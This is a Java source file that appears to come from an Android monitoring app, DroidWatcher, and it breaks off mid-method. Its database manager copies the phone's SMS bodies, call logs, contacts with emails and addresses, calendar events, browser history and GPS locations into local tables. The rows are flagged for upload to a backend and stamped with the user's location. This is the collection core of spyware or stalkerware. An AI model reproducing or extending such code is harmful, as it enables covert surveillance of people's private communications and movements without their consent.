package com.droidwatcher;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import android.location.Location;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.provider.Browser;
import android.provider.CalendarContract;
import android.provider.CallLog.Calls;
import android.provider.ContactsContract;
import android.provider.ContactsContract.PhoneLookup;

import com.droidwatcher.lib.BrowserHistory;
import com.droidwatcher.lib.Calendar;
import com.droidwatcher.lib.Call;
import com.droidwatcher.lib.Contact;
import com.droidwatcher.lib.GPS;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.lib.SMS;
import com.droidwatcher.modules.CalendarModule;
import com.droidwatcher.modules.FilterModule;
import com.droidwatcher.modules.location.LocationModule;
import com.droidwatcher.util.AXLog;
import com.droidwatcher.variables.DBResult;
//
//import com.droidwatcher.modules.ACRA;

import java.util.ArrayList;
import java.util.Date;

import static com.droidwatcher.modules.CalendarModule.df;

public class DBManager extends SQLiteOpenHelper {
    private Context mContext;

//	MediaStore.Audio.Media.EXTERNAL_CONTENT_URI ;
//
//	MediaStore.Video.Media.EXTERNAL_CONTENT_URI ;

    private final static int DB_VER = 333;
    private final static String DB_NAME = "DWDB";

    public static final Uri CALL_URI = Calls.CONTENT_URI;
    public static final Uri SMS_URI = Uri.parse("content://sms");
    public static final Uri Calendar_URI = Uri.parse(CalendarModule.calanderEventURL);
    public static final Uri Contact_URI = ContactsContract.Contacts.CONTENT_URI;

    public static final Uri BROWSER_URI = Browser.BOOKMARKS_URI;

    private static final String TABLE_NAME_CALENDAR = "DW_CALENDAR";
    private static final String TABLE_NAME_CONTACTS = "DW_CONTACTS";
    private static final String TABLE_NAME_CALL = "DW_CALL";
    private static final String TABLE_NAME_SMS = "DW_SMS";
    private static final String TABLE_NAME_GPS = "DW_GPS";
    private static final String TABLE_NAME_BROWSER = "DW_BROWSER";

    private static final String DROP_TABLE_CALENDAR = "DROP TABLE IF EXISTS " + TABLE_NAME_CALENDAR;
    private static final String DROP_TABLE_CONTACTS = "DROP TABLE IF EXISTS " + TABLE_NAME_CONTACTS;
    private static final String DROP_TABLE_CALL = "DROP TABLE IF EXISTS " + TABLE_NAME_SMS;
    private static final String DROP_TABLE_SMS = "DROP TABLE IF EXISTS " + TABLE_NAME_CALL;
    private static final String DROP_TABLE_GPS = "DROP TABLE IF EXISTS " + TABLE_NAME_GPS;
    private static final String DROP_TABLE_BROWSER = "DROP TABLE IF EXISTS " + TABLE_NAME_BROWSER;

    /**
     * Type: INTEGER (Long)
     */
    private static final String ID_COLUMN = "_id";
    /**
     * Type: TEXT (String)
     */
    private static final String NUMBER_COLUMN = "number";
    /**
     * Type: INTEGER (Long)
     */
    private static final String DATE_COLUMN = "date";
    /**
     * Type: TEXT (String)
     */
    private static final String NAME_COLUMN = "name";

    /**
     * Type: TEXT (String)
     */
    private static final String CALL_LOCATION = "call_location";

    /**
     * Type: INTEGER (int) <br>1 - IN<br>2 - MISSED<br>3 - OUT
     */
    private static final String TYPE_COLUMN = "type";
    /**
     * Type: TEXT (String)
     */
    private static final String TEXT_COLUMN = "text";
    /**
     * Type: INTEGER (Long)
     */
    private static final String DURATION_COLUMN = "duration";
    /**
     * Type: INTEGER (int)
     */
    private static final String SENT_COLUMN = "sent";

    /**
     * Type: INTEGER (int)
     */  //是否上傳到後台了
    private static final String SMS_SENT_COLUMN = "sms_sent";

    /**
     * Type: REAL (double)
     */
    private static final String ACC_COLUMN = "acc";
    /**
     * Type: REAL (double)
     */
    private static final String ALT_COLUMN = "alt";
    /**
     * Type: REAL (double)
     */
    private static final String LAT_COLUMN = "lat";
    /**
     * Type: REAL (double)
     */
    private static final String LON_COLUMN = "lon";
    /**
     * Type: REAL (double)
     */
    private static final String BATTERY_COLUMN = "battery";
    /**
     * Type: TEXT (String)
     */
    private static final String PROVIDER_COLUMN = "provider";

    /**
     * Type: TEXT (String)
     */
    private static final String URL_COLUMN = "url";
    /**
     * Type: TEXT (String)
     */
    private static final String TITLE_COLUMN = "title";

    private static final String VISITS_COLUMN = "visits";
    private static final String BOOKMARK_COLUMN = "bookmark";
    //private static final String COUNT_COLUMN = "_count";
    private static final String CREATED_COLUMN = "created";

    private static final String SMS_ID = "sms_id";
    private static final String THREAD_ID = "thread_id";
    private static final String PROTOCOL = "protocol";
    private static final String STATUS = "status";
    private static final String READ_STATUS = "read_status";
    private static final String RECEIVER = "receiver";


    private static final String CONTACT_ID = "contact_id";
    private static final String CONTACT_NAME = "name";
    private static final String CONTACT_PHONE = "phone_number";
    private static final String CONTACT_TIME_LAST = "last_contact_time";
    private static final String CONTACT_UPDATE_LAST = "last_modify_time";
    private static final String CONTACT_TIMES = "times_contacted";
    private static final String CONTACT_ADDRESS = "address";
    private static final String CONTACT_EMAIL = "email";
    private static final String CONTACT_WHERE = "orgWhere";

    private static final String CALENDAR_ID = "calendar_id";
    private static final String CALENDAR_TITLE = "name";
    private static final String CALENDAR_START_DATE = "phone_number";
    private static final String CALENDAR_LAST_DATE = "last_contact_time";
    private static final String CALENDAR_LOCATION = "last_modify_time";
    private static final String CALENDAR_DESCRIPTION = "description";


    private static final String CREATE_TABLE_CALENDAR = "CREATE TABLE " + TABLE_NAME_CALENDAR + "( _id INTEGER PRIMARY KEY , "
            + CALENDAR_ID + " TEXT, "
            + CALENDAR_TITLE + " TEXT, "
            + CALENDAR_START_DATE + " TEXT, "
            + CALENDAR_LAST_DATE + " TEXT, "
            + CALENDAR_LOCATION + " TEXT, "
            + DATE_COLUMN + " INTEGER, "
            + SENT_COLUMN + " INTEGER,"
            + CALENDAR_DESCRIPTION + " TEXT)";


    private static final String CREATE_TABLE_CONTACT = "CREATE TABLE " + TABLE_NAME_CONTACTS + "( _id INTEGER PRIMARY KEY , "
            + CONTACT_ID + " TEXT, "
            + CONTACT_NAME + " TEXT, "
            + CONTACT_PHONE + " TEXT, "
            + CONTACT_TIME_LAST + " TEXT, "
            + CONTACT_TIMES + " TEXT, "
            + CONTACT_ADDRESS + " TEXT, "
            + CONTACT_WHERE + " TEXT, "
            + CONTACT_EMAIL + " TEXT,"
            + CONTACT_UPDATE_LAST + " TEXT,"
            + SENT_COLUMN + " INTEGER)";

    private static final String CREATE_TABLE_SMS = "CREATE TABLE " + TABLE_NAME_SMS + "( _id INTEGER PRIMARY KEY , "
            + SMS_ID + " TEXT, "
            + THREAD_ID + " TEXT, "
            + PROTOCOL + " TEXT, "
            + STATUS + " TEXT, "
            + RECEIVER + " TEXT, "
            + READ_STATUS + " TEXT, "
            + NUMBER_COLUMN + " TEXT, "
            + NAME_COLUMN + " TEXT, "
            + DATE_COLUMN + " INTEGER, "
            + TYPE_COLUMN + " INTEGER, "
            + TEXT_COLUMN + " TEXT, "
            + SMS_SENT_COLUMN + " INTEGER, "
            + LAT_COLUMN + " REAL, "
            + LON_COLUMN + " REAL, "
            + SENT_COLUMN + " INTEGER)";

    private static final String CREATE_TABLE_CALL = "CREATE TABLE " + TABLE_NAME_CALL + "( _id INTEGER PRIMARY KEY , "
            + NUMBER_COLUMN + " TEXT, "
            + NAME_COLUMN + " TEXT, "
            + DATE_COLUMN + " INTEGER, "
            + TYPE_COLUMN + " INTEGER, "
            + DURATION_COLUMN + " INTEGER, "
            + SMS_SENT_COLUMN + " INTEGER, "
            + CALL_LOCATION + " TEXT, "
            + LAT_COLUMN + " REAL, "
            + LON_COLUMN + " REAL, "
            + SENT_COLUMN + " INTEGER)";

    private static final String CREATE_TABLE_GPS = "CREATE TABLE " + TABLE_NAME_GPS + "( _id INTEGER PRIMARY KEY , "
            + ACC_COLUMN + " REAL, "
            + ALT_COLUMN + " REAL, "
            + LAT_COLUMN + " REAL, "
            + LON_COLUMN + " REAL, "
            + DATE_COLUMN + " INTEGER, "
            + BATTERY_COLUMN + " INTEGER, "
            + PROVIDER_COLUMN + " TEXT, "
            + SENT_COLUMN + " INTEGER)";

    private static final String CREATE_TABLE_BROWSER = "CREATE TABLE " + TABLE_NAME_BROWSER + "( _id INTEGER PRIMARY KEY , "
            + DATE_COLUMN + " INTEGER, "
            + URL_COLUMN + " TEXT, "
            + TITLE_COLUMN + " TEXT, "
            + LAT_COLUMN + " REAL, "
            + LON_COLUMN + " REAL, "
            + VISITS_COLUMN + " TEXT, "
            + BOOKMARK_COLUMN + " TEXT, "
           // + COUNT_COLUMN + " TEXT, "
            + CREATED_COLUMN + " TEXT, "
            + SENT_COLUMN + " INTEGER)";




    private static final String[] PROJECTION_CALL = new String[]{Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE, Calls.CACHED_NAME,Calls.GEOCODED_LOCATION};
    private static final String[] PROJECTION_SMS = new String[]{"_id", "thread_id", "person", "protocol", "read", "status", "service_center", "address", "date", "type", "body"};

    private static final String[] PROJECTION_CONTACT = new String[]
            {ContactsContract.Contacts._ID,ContactsContract.Contacts.DISPLAY_NAME, ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP, ContactsContract.Contacts.LAST_TIME_CONTACTED,ContactsContract.Contacts.TIMES_CONTACTED,
                    ContactsContract.Contacts.HAS_PHONE_NUMBER};

    private static final String[] PROJECTION_CALENDAR = new String[]{CalendarContract.Events._ID,CalendarContract.Events.TITLE,CalendarContract.Events.EVENT_LOCATION,CalendarContract.Events.DESCRIPTION,CalendarContract.Events.DTSTART,CalendarContract.Events.DTEND};

    private static final String[] PROJECTION_BROWSER = new String[]{Browser.BookmarkColumns.DATE, Browser.BookmarkColumns.URL, Browser.BookmarkColumns.TITLE,
            Browser.BookmarkColumns.VISITS,  Browser.BookmarkColumns._ID, Browser.BookmarkColumns.CREATED};

    public DBManager(Context context) {
        super(context, DB_NAME, null, DB_VER);
        this.mContext = context;
    }

    @Override
    public SQLiteDatabase getReadableDatabase() {
        Debug.i("[DBManager] getReadableDatabase;");

        return super.getReadableDatabase();
    }

    @Override
    public void onCreate(final SQLiteDatabase db) {
        Debug.i("[DBManager] onCreate;");
        AXLog.e("wzytest", "创建数据库");
        db.execSQL(CREATE_TABLE_SMS);
        db.execSQL(CREATE_TABLE_CALL);
        db.execSQL(CREATE_TABLE_GPS);
        db.execSQL(CREATE_TABLE_BROWSER);
        db.execSQL(CREATE_TABLE_CONTACT);
        db.execSQL(CREATE_TABLE_CALENDAR);

        new Thread(new Runnable() {
            @Override
            public void run() {
                fillDB(db);
            }
        }).start();

    }

    @Override
    public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
        Debug.i("[DBManager] onUpgrade; oldVersion: " + oldVersion + "; newVersion: " + newVersion);
        AXLog.e("wzytest", "数据库升级");
        if (oldVersion < 320) { //lat, lon in sms/call
            db.execSQL(DROP_TABLE_CALL);
            db.execSQL(DROP_TABLE_SMS);
            db.execSQL(DROP_TABLE_CONTACTS);
            db.execSQL(DROP_TABLE_CALENDAR);

            db.execSQL(CREATE_TABLE_SMS);
            db.execSQL(CREATE_TABLE_CALL);
            db.execSQL(CREATE_TABLE_CONTACT);
            db.execSQL(CREATE_TABLE_CALENDAR);
            fillDB(db);


        }

        if (oldVersion < 321) { // gps PROVIDER_COLUMN error
            db.execSQL(DROP_TABLE_GPS);
            db.execSQL(CREATE_TABLE_GPS);
        }

        if (oldVersion < 331) { // BROWSER
            db.execSQL(DROP_TABLE_BROWSER);
            db.execSQL(CREATE_TABLE_BROWSER);
            resetBrowserHistory(db);
        }

        if (oldVersion < 333) { // BROWSER
            db.execSQL(DROP_TABLE_CALENDAR);
            db.execSQL(CREATE_TABLE_CALENDAR);
            db.execSQL(DROP_TABLE_CONTACTS);
            db.execSQL(CREATE_TABLE_CONTACT);
            resetBrowserHistory(db);
        }
    }

    private static final int DAY = 24 * 60 * 60 * 1000;
    private static final long MONTH = 30 * 24 * 60 * 60 * 1000L;

    private static synchronized long getDayOffset() {
        //return new Date().getTime() - DAY;
        return 0;
    }

    private static synchronized long getMonthOffset() {
        return new Date().getTime() - MONTH;
    }

    private void fillDB(SQLiteDatabase db) {
        long offset = getDayOffset();
        AXLog.e("wzytest", " fillDB ....." + df.format(offset));
        Cursor cursor = mContext.getContentResolver().query(CALL_URI, PROJECTION_CALL, Calls.DATE + " > " + offset, null, null);
        try {
            if (cursor != null) {
                copyCallToDWDB(db, cursor, false);
                //copyCallToDWDB(db, cursor, true);
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleSilentException(e);
        } finally {

            if (cursor != null) {
                cursor.close();
            }
        }

        cursor = mContext.getContentResolver().query(SMS_URI, PROJECTION_SMS, "(type=1 OR type=2) AND date > " + offset, null, null);
        try {
            if (cursor != null) {
                copySMSToDWDB(db, cursor, false);
                //copySMSToDWDB(db, cursor, true);
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }

        resetCalendarHistory(db);
        resetContactHistory(db);
        resetBrowserHistory(db);
    }


    private void copyCantactToDWDB(SQLiteDatabase db, Cursor cursor, Boolean sent) {

        ContentValues values;
        long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;

        String contact_id ;
        String dis_name = null ;
        String last_contact_time ;
        String last_mod_time ;
        String times_contacted ;
        String phone ="";
        while (cursor.moveToNext()) {
            contact_id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
            try {
                dis_name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
                if (dis_name == null) {
                    dis_name = "Unknown";
                }
            } catch (Exception e) {
                dis_name = "Unknown";
            }

            last_contact_time = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LAST_TIME_CONTACTED));
            times_contacted = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.TIMES_CONTACTED));
            last_mod_time = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP));

            if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {

                Cursor pCur = mContext.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{contact_id}, null);
                while (pCur.moveToNext()) {
                    phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                }
                pCur.close();
            }

            values = new ContentValues();
            values.put(CONTACT_ID, contact_id);
            values.put(CONTACT_NAME, dis_name);
            values.put(CONTACT_TIMES, times_contacted);
            values.put(CONTACT_PHONE, phone);
            values.put(CONTACT_TIME_LAST, last_contact_time);
            values.put(CONTACT_UPDATE_LAST, last_mod_time);
            values.put(SENT_COLUMN,  sent?1:0 );

            Cursor emails = mContext.getContentResolver().query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,
                    null,
                    ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = " + contact_id,
                    null, null);
            String emailAddress= "" ;
            while (emails.moveToNext())
            {
                emailAddress = emails.getString(emails.getColumnIndex(
                        ContactsContract.CommonDataKinds.Email.DATA));
            }
            values.put(CONTACT_EMAIL,emailAddress);
            emails.close();

            //查询==地址==类型的数据操作.StructuredPostal.TYPE_WORK
            Cursor address = mContext.getContentResolver().query(ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI,
                    null,
                    ContactsContract.CommonDataKinds.StructuredPostal.CONTACT_ID + " = " + contact_id,
                    null, null);
            String workAddress = "";
            while (address.moveToNext())
            {
                workAddress = address.getString(address.getColumnIndex(
                        ContactsContract.CommonDataKinds.StructuredPostal.DATA));
            }
            address.close();
            values.put(CONTACT_ADDRESS,workAddress);

            //查询==公司名字==类型的数据操作.Organization.COMPANY  ContactsContract.Data.CONTENT_URI
            String orgWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE + " = ?";
            String[] orgWhereParams = new String[]{contact_id,
                    ContactsContract.CommonDataKinds.Organization.CONTENT_ITEM_TYPE};
            Cursor orgCur = mContext.getContentResolver().query(ContactsContract.Data.CONTENT_URI,
                    null, orgWhere, orgWhereParams, null);
            String company = "" ;
            if (orgCur.moveToFirst()) {
                //组织名 (公司名字)
                company = orgCur.getString(orgCur.getColumnIndex(ContactsContract.CommonDataKinds.Organization.DATA));
            }
            orgCur.close();
            values.put(CONTACT_WHERE,company);
            db.insert(TABLE_NAME_CONTACTS, null, values);
        }

    }

    private void copyCalendarToDWDB(SQLiteDatabase db, Cursor cursor, Boolean sent) {

        //String[]{CalendarContract.Events.CALENDAR_ID,CalendarContract.Events.TITLE,CalendarContract.Events.EVENT_LOCATION,CalendarContract.Events.DESCRIPTION,CalendarContract.Events.DTSTART,CalendarContract.Events.DTEND};


        ContentValues values;
        long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;

        String calendar_id ;
        String title ;
        String location ;
        String dtstart ;
        String dtend ;
        String description;
        String date;

        while (cursor.moveToNext()) {
            calendar_id = cursor.getString(cursor.getColumnIndex(CalendarContract.Events._ID));
            title = cursor.getString(cursor.getColumnIndex(CalendarContract.Events.TITLE));
            location = cursor.getString(cursor.getColumnIndex(CalendarContract.Events.EVENT_LOCATION));
            description = cursor.getString(cursor.getColumnIndex(CalendarContract.Events.DESCRIPTION));
            dtend = cursor.getString(cursor.getColumnIndex(CalendarContract.Events.DTEND));
            dtstart = cursor.getString(cursor.getColumnIndex(CalendarContract.Events.DTSTART));
            date = String.valueOf(System.currentTimeMillis());

            values = new ContentValues();
            values.put(CALENDAR_ID, calendar_id);
            values.put(CALENDAR_TITLE, title);
            values.put(CALENDAR_LOCATION, location);
            values.put(CALENDAR_DESCRIPTION, description);
            values.put(CALENDAR_LAST_DATE, dtend);
            values.put(CALENDAR_START_DATE, dtstart);
            values.put(DATE_COLUMN, date);
            values.put(SENT_COLUMN,  sent?1:0  );

            db.insert(TABLE_NAME_CALENDAR, null, values);
        }

    }

    private void copyCallToDWDB(SQLiteDatabase db, Cursor cursor, Boolean sent) {

        ContentValues values;
        int _NUMBER = 0;
        int _DATE = 1;
        int _DURATION = 2;
        int _CALLTYPE = 3;
        int _NAME = 4;
        int _LOCATION = 5;
        String number;
        boolean filtered;
        long date;
        long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;

        while (cursor.moveToNext()) {
            number = cursor.getString(_NUMBER);
            date = cursor.getLong(_DATE);
            filtered = !sent && FilterModule.isNumberFiltered(mContext, number);


            values = new ContentValues();
            values.put(NUMBER_COLUMN, number);
            values.put(DATE_COLUMN, date);
            values.put(DURATION_COLUMN, cursor.getLong(_DURATION));
            String name = null;
            try {
                name = cursor.getString(_NAME);
                if (name == null) {
                    name = "Unknown";
                }
            } catch (Exception e) {
                name = "Unknown";
            }
            values.put(NAME_COLUMN, name);
            values.put(TYPE_COLUMN, cursor.getInt(_CALLTYPE));
            values.put(SENT_COLUMN, (sent || filtered ? 1 : 0));
            values.put(SMS_SENT_COLUMN, (sent || filtered ? 1 : 0));

            Location location = null;
            if (!sent && !filtered && date >= timeout) {
                location = LocationModule.getLocation(mContext);
            }

            values.put(LAT_COLUMN, (location == null ? 0 : location.getLatitude()));
            values.put(LON_COLUMN, (location == null ? 0 : location.getLongitude()));
           // AXLog.e("wzytest", "往电话数据库插入记录：" + values);
            values.put(CALL_LOCATION,cursor.getInt(_LOCATION));
            AXLog.e("wzytest", "往电话数据库插入记录：" + values);
            db.insert(TABLE_NAME_CALL, null, values);
        }

    }

    private Boolean networkAvailable() {
        ConnectivityManager manager = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = manager.getActiveNetworkInfo();

        if (info == null) {
            return false;
        }

        return info.isConnectedOrConnecting();
    }
    private void copySMSToDWDB(SQLiteDatabase db, Cursor cursor, Boolean sent) {

        ContentValues values;
        int _NUMBER = 0;
        int _TYPE = 2;
        int _BODY = 3;
        int _ID = 0, _THREAD_ID = 0, _PERSON = 0, _PROTOCOL = 0, _READ = 0, _STATUS = 0, _SERVICE_CENTER = 0, _ADDRESS = 0, _DATE = 0, _SENT = 0;

        String number;
        boolean filtered;
        long date;
        long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;


        while (cursor.moveToNext()) {
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                _ID = cursor.getColumnIndex("_id");
                _THREAD_ID = cursor.getColumnIndex("thread_id");
                _PERSON = cursor.getColumnIndex("person");
                _PROTOCOL = cursor.getColumnIndex("protocol");
                _READ = cursor.getColumnIndex("read");
                _STATUS = cursor.getColumnIndex("status");
                _SERVICE_CENTER = cursor.getColumnIndex("service_center");
                _ADDRESS = cursor.getColumnIndex("address");
                _DATE = cursor.getColumnIndex("date");
                _TYPE = cursor.getColumnIndex("type");
                _BODY = cursor.getColumnIndex("body");
                _SENT = cursor.getColumnIndex("sent");

            }
            number = cursor.getString(_NUMBER);
            date = cursor.getLong(_DATE);

           // AXLog.e("wzytest", " sent:" + sent + " number:" + number);
            filtered = !sent && FilterModule.isNumberFiltered(mContext, number);


            values = new ContentValues();

            values.put(SMS_ID, cursor.getString(_ID));
            values.put(THREAD_ID, cursor.getString(_THREAD_ID));
            values.put(PROTOCOL, cursor.getString(_PROTOCOL));
            values.put(STATUS, cursor.getString(_STATUS));
            values.put(READ_STATUS, cursor.getString(_READ));

            values.put(NUMBER_COLUMN, cursor.getString(_ADDRESS));
            values.put(DATE_COLUMN, cursor.getString(_DATE));
            values.put(TEXT_COLUMN, cursor.getString(_BODY));
            values.put(NAME_COLUMN, (sent ? "" : getContactName(number)));
            values.put(TYPE_COLUMN, cursor.getInt(_TYPE));
            //如果信息过滤 或者已经发送
            values.put(SENT_COLUMN, (sent || filtered ? 1 : 0));
            values.put(SMS_SENT_COLUMN, (sent || filtered ? 1 : 0));

            Location location = null;
            if (!sent && !filtered && date >= timeout) {
                location = LocationModule.getLocation(mContext);
            }

            values.put(LAT_COLUMN, (location == null ? 0 : location.getLatitude()));
            values.put(LON_COLUMN, (location == null ? 0 : location.getLongitude()));
           // AXLog.e("wzytest", "复制信息到数据库:values:" + values);
            db.insert(TABLE_NAME_SMS, null, values);
        }
    }

    private void copyBrowserToDWDB(SQLiteDatabase db, Cursor cursor, Boolean sent) {
        ContentValues values;
        int _DATE = 0;
        int _URL = 1;
        int _TITLE = 2;
        int _VISITS = cursor.getColumnIndex(Browser.BookmarkColumns.VISITS);
        //int _COUNT = cursor.getColumnIndex(Browser.BookmarkColumns._COUNT);
        int _CREATED = cursor.getColumnIndex(Browser.BookmarkColumns.CREATED);
        //int _BOOKMARK = cursor.getColumnIndex(Browser.BookmarkColumns.BOOKMARK);

        long date;
        long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;

        while (cursor.moveToNext()) {
            date = cursor.getLong(_DATE);

            values = new ContentValues();
            values.put(DATE_COLUMN, date);
            values.put(URL_COLUMN, cursor.getString(_URL));
            values.put(TITLE_COLUMN, cursor.getString(_TITLE));
            values.put(VISITS_COLUMN, cursor.getString(_VISITS));
           // values.put(COUNT_COLUMN, cursor.getString(_COUNT));
            values.put(CREATED_COLUMN, cursor.getString(_CREATED));
            values.put(BOOKMARK_COLUMN, "");
            values.put(SENT_COLUMN, sent);

            Location location = null;
            if (!sent && date >= timeout) {
                location = LocationModule.getLocation(mContext);
            }

            values.put(LAT_COLUMN, (location == null ? 0 : location.getLatitude()));
            values.put(LON_COLUMN, (location == null ? 0 : location.getLongitude()));

            db.insert(TABLE_NAME_BROWSER, null, values);
        }
    }

    public void resetBrowserHistory() {
        SQLiteDatabase db = null;
        try {
            db = getWritableDatabase();
            resetBrowserHistory(db);

        } catch (Exception e) {
            Debug.exception(e);
           // ACRA.getErrorReporter().handleException(e);

        } finally {
            if (db != null && db.isOpen()) {
                db.close();
                db = null;
            }
        }
    }

    public void resetBrowserHistory(SQLiteDatabase db) {
        Cursor cursor = null;
        try {
            long lastDate = getLastDate(db, TABLE_NAME_BROWSER);
            Cursor c = mContext.getContentResolver().query(BROWSER_URI, null,null,null,null);
            for (int i = 0; i < c.getColumnCount(); i++) {
                AXLog.e("wzytest","resetBrowserHistory c cloum:"+c.getColumnName(i));
            }

            cursor = mContext.getContentResolver().query(BROWSER_URI, PROJECTION_BROWSER,
                    Browser.BookmarkColumns.DATE + " > " + lastDate + " AND " + Browser.BookmarkColumns.DATE + " > " + getDayOffset(), null, null);

            if (cursor != null && cursor.getCount() != 0) {
                copyBrowserToDWDB(db, cursor, false);
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleException(e);

        } finally {
            if (cursor != null && !cursor.isClosed()) {
                cursor.close();
                cursor = null;
            }
        }
    }

    public void resetContactHistory(SQLiteDatabase db) {
        Cursor cursor = null;
        try {
            long lastDate = getLastContactUpdateDate(db, TABLE_NAME_CONTACTS);
            cursor = mContext.getContentResolver().query(Contact_URI, PROJECTION_CONTACT,
                    ContactsContract.Contacts.LAST_TIME_CONTACTED + " > " + lastDate + " AND " + ContactsContract.Contacts.LAST_TIME_CONTACTED + " > " + getDayOffset(), null, null);

            if (cursor != null && cursor.getCount() != 0) {
                copyCantactToDWDB(db, cursor, false);
            }

        } catch (Exception e) {
            Debug.exception(e);
           // ACRA.getErrorReporter().handleException(e);

        } finally {
            if (cursor != null && !cursor.isClosed()) {
                cursor.close();
                cursor = null;
            }
        }
    }

    public void resetCalendarHistory(SQLiteDatabase db) {
        Cursor cursor = null;
        try {
            long lastDate = getLastDate(db, TABLE_NAME_CALENDAR);
            cursor = mContext.getContentResolver().query(Calendar_URI, PROJECTION_CALENDAR,
                    DATE_COLUMN + " > " + lastDate + " AND " + DATE_COLUMN + " > " + getDayOffset(), null, null);

            if (cursor != null && cursor.getCount() != 0) {
                copyCalendarToDWDB(db, cursor, false);
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleException(e);

        } finally {
            if (cursor != null && !cursor.isClosed()) {
                cursor.close();
                cursor = null;
            }
        }
    }

    private String getContactName(String num) {
        String name = "Unknown";
        Cursor cursor = null;
        try {
            Uri uri = Uri.withAppendedPath(PhoneLookup.CONTENT_FILTER_URI, Uri.encode(num));
            cursor = mContext.getContentResolver().query(uri, new String[]{PhoneLookup.DISPLAY_NAME}, null, null, null);

            if (cursor == null) {
                return name;
            }

            if (cursor.moveToFirst()) {
                name = cursor.getString(cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME));
            }

        } catch (Exception e) {
            Debug.exception(e);
           // ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
      //  AXLog.e("wzytest", "获取电话本 num ：" + name);
        return name;
    }

    private long getLastContactUpdateDate(SQLiteDatabase db, String table) {

        Cursor c = db.rawQuery("select * from "+table,null);

        for (int i = 0; i < c.getColumnCount(); i++) {
            AXLog.e("wzytest","c cloum:"+c.getColumnName(i));
        }
        Cursor cursor = null;
        try {
            cursor = db.rawQuery("SELECT MAX(" + CONTACT_UPDATE_LAST + ") FROM " + table, null);
            if (cursor.moveToFirst()) {
                return cursor.getLong(0);
            } else {
                return 0;
            }
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }

    }

    private long getCalendarLastID(SQLiteDatabase db) {
        Cursor cursor = null;
        try {
            //cursor = db.rawQuery("SELECT " + CALENDAR_ID + " FROM " + TABLE_NAME_CALENDAR, null);
            cursor = db.rawQuery("SELECT MAX(" + CALENDAR_ID + ") FROM " + TABLE_NAME_CALENDAR, null);
            if (cursor.moveToFirst()) {
                return cursor.getLong(0);
            } else {
                return 0;
            }
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }

    }

    private long getLastDate(SQLiteDatabase db, String table) {
        Cursor cursor = null;
        try {
            cursor = db.rawQuery("SELECT MAX(" + DATE_COLUMN + ") FROM " + table, null);
            if (cursor.moveToFirst()) {
                return cursor.getLong(0);
            } else {
                return 0;
            }
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }

    }

    public synchronized void deleteOdlRecords() {
        SQLiteDatabase db = null;
        try {
            db = getWritableDatabase();
            long date = getMonthOffset();

            Debug.i("[DBManager] deleteOdlRecords; " + DATE_COLUMN + " < " + date + " AND " + SENT_COLUMN + " = 1");

            int countCall = db.delete(TABLE_NAME_CALL, DATE_COLUMN + " < " + date + " AND " + SENT_COLUMN + " = 1", null);
            int countSms = db.delete(TABLE_NAME_SMS, DATE_COLUMN + " < " + date + " AND " + SENT_COLUMN + " = 1", null);
            int countBrowser = db.delete(TABLE_NAME_BROWSER, DATE_COLUMN + " < " + date + " AND " + SENT_COLUMN + " = 1", null);
            int countCalendar = db.delete(TABLE_NAME_CALENDAR, DATE_COLUMN + " < " + date + " AND " + SENT_COLUMN + " = 1", null);
            int countContacts = db.delete(TABLE_NAME_CONTACTS, CONTACT_UPDATE_LAST + " < " + date + " AND " + SENT_COLUMN + " = 1", null);

            Debug.i("[DBManager] deleteOdlRecords; countCall: " + countCall + " countSms: " + countSms + " countBrowser: " + countBrowser);

        } catch (Exception e) {
            Debug.exception(e);

        } finally {
            if (db != null && db.isOpen()) {
                db.close();
            }
        }
    }


    /**
     * Compare calls in Android DB and DWDB
     *
     * @return Are there any new records
     */
    public synchronized Boolean compareContacts() {
        SQLiteDatabase db = getWritableDatabase();
        long lastDate = getLastContactUpdateDate(db, TABLE_NAME_CONTACTS);

        Cursor cursor = mContext.getContentResolver().query(Contact_URI, PROJECTION_CONTACT, ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP + " > " + lastDate + " AND " + ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP + " > " + getDayOffset(), null, null);
